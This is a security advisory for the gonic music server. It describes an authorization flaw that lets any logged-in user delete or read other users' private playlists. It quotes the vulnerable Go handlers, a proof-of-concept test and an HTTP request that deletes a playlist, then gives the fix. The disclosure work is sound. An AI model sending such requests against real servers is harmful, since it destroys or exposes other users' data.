Subsonic API: any authenticated user can delete or read any other user's playlist (IDOR)

Overview

Summary

In gonic, the Subsonic API endpoints /rest/deletePlaylist.view and /rest/getPlaylist.view perform no per-resource authorization. Once authenticated as any user (admin or not), an attacker can:

1. Delete any playlist owned by any other user (including admin) by passing its id.
2. Read the full contents (name, comment, song list) of any other user's private (non-public) playlist by passing its id.

The Subsonic playlist id is base64url("<userID>/<filename>.m3u"). Because filenames are user-supplied or time-derived and the userID is a small integer, IDs are guessable and frequently exposed (e.g. a previously-public playlist that was later made private still has the same ID).

This breaks the multi-user trust boundary of gonic: a low-privileged user can wipe an administrator's curated playlists, and a user can exfiltrate any private playlist they obtain an ID for.

Status

This was originally disclosed to the maintainer by email and has been fixed in commit 6dd71e6a3c966867ef8c900d359a7df75789f410 (fix(subsonic): enforce playlist ownership on getPlaylist/deletePlaylist, 2026-05-18). The fix has not yet been included in a tagged release; the latest tagged version v0.20.1 is still vulnerable. Filing this advisory now that private vulnerability reporting is enabled on the repo, so the issue has a public record once the next release ships.

Vulnerable code (pre-fix, at v0.20.1 / commit 37090aa7)

Delete IDOR — server/ctrlsubsonic/handlers_playlist.go lines 177-187:

func (c *Controller) ServeDeletePlaylist(r *http.Request) *spec.Response {
    params := r.Context().Value(CtxParams).(params.Params)
    playlistID, err := params.GetFirstID("id", "playlistId")
    if err != nil {
        return spec.NewError(10, "please provide an `id` or `playlistId` parameter")
    }
    if err := c.playlistStore.Delete(playlistIDDecode(playlistID)); err != nil {
        return spec.NewError(0, "delete playlist: %v", err)
    }
    return spec.NewResponse()
}

The handler never loads the playlist to check playlist.UserID == user.ID. Compare to ServeUpdatePlaylist (same file, line 138) which does perform this check.

Read IDOR — server/ctrlsubsonic/handlers_playlist.go lines 51-68:

func (c *Controller) ServeGetPlaylist(r *http.Request) *spec.Response {
    params := r.Context().Value(CtxParams).(params.Params)
    playlistID, err := params.GetFirstID("id", "playlistId")
    if err != nil {
        return spec.NewError(10, "please provide an `id` parameter")
    }
    playlist, err := c.playlistStore.Read(playlistIDDecode(playlistID))
    if err != nil {
        return spec.NewError(70, "playlist with id %s not found", playlistID)
    }
    // ... never checks playlist.UserID or playlist.IsPublic ...
    sub.Playlist = rendered
    return sub
}

The listing endpoint ServeGetPlaylists (line 38) correctly filters by playlist.UserID != user.ID && !playlist.IsPublic, but the singular getPlaylist did not.

Live PoC (passing Go test)

A reproducer against the existing test fixture (server/ctrlsubsonic):

func TestIDOR_DeleteOtherUsersPlaylist(t *testing.T) {
    f := newFixture(t)
    victimRelPath := filepath.Join("1", "victim-private.m3u")
    _ = f.contr.playlistStore.Write(victimRelPath, &playlistp.Playlist{
        UserID: f.admin.ID, Name: "victim-private", IsPublic: false,
        Items: []string{"/music/foo.flac"},
    })
    victimID := playlistIDEncode(victimRelPath).String()
    // f.alt is a non-admin, non-owner user
    body := f.query(t, f.contr.ServeDeletePlaylist, f.alt, url.Values{"id": {victimID}})
    // Subsonic returns status="ok" and the file is gone.
}

Test output:

--- PASS: TestIDOR_ReadOtherUsersPrivatePlaylist (0.07s)
--- PASS: TestIDOR_DeleteOtherUsersPlaylist (0.07s)
PASS
ok  go.senan.xyz/gonic/server/ctrlsubsonic 0.730s

Equivalent HTTP request

GET /rest/deletePlaylist.view?u=lowpriv&p=lowpriv&v=1&c=poc&f=json&id=cGwtMS1zaGFyZWQubTN1

Response: {"subsonic-response":{"status":"ok","version":"..."}} — playlist is gone.

Impact

• Integrity / Availability: low-privileged users can delete any other user's playlists, including admin's curated lists. There is no undo.
• Confidentiality: private playlists (including their comment fields) are readable by any authenticated user with an ID. IDs are predictable (base64("<smallUserID>/<name>.m3u")) and previously-public IDs persist after being marked private.
• Trust boundary: gonic supports multiple users (createUser, non-admin role). This bug collapsed the user-to-user authorization model.

Affected versions

Latest tagged release v0.20.1 and all prior versions back to when the playlist M3U store was introduced. Master HEAD is fixed at commit 6dd71e6a3c966867ef8c900d359a7df75789f410.

Suggested patch (applied by maintainer in 6dd71e6)

Load the playlist first and enforce ownership in both handlers:

// ServeGetPlaylist
if playlist.UserID != user.ID && !playlist.IsPublic {
    return spec.NewError(50, "you aren't allowed to read that user's playlist")
}

// ServeDeletePlaylist
if playlist.UserID != 0 && playlist.UserID != user.ID {
    return spec.NewError(50, "you aren't allowed to delete that user's playlist")
}

This mirrors the existing ownership check already present in ServeCreateOrUpdatePlaylist (line 84) and ServeUpdatePlaylist (line 138).

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Affected packages

• go.senan.xyz/gonic <= 0.20.1

Remediation

Upgrade to a patched release:

• go.senan.xyz/gonic 0.21.0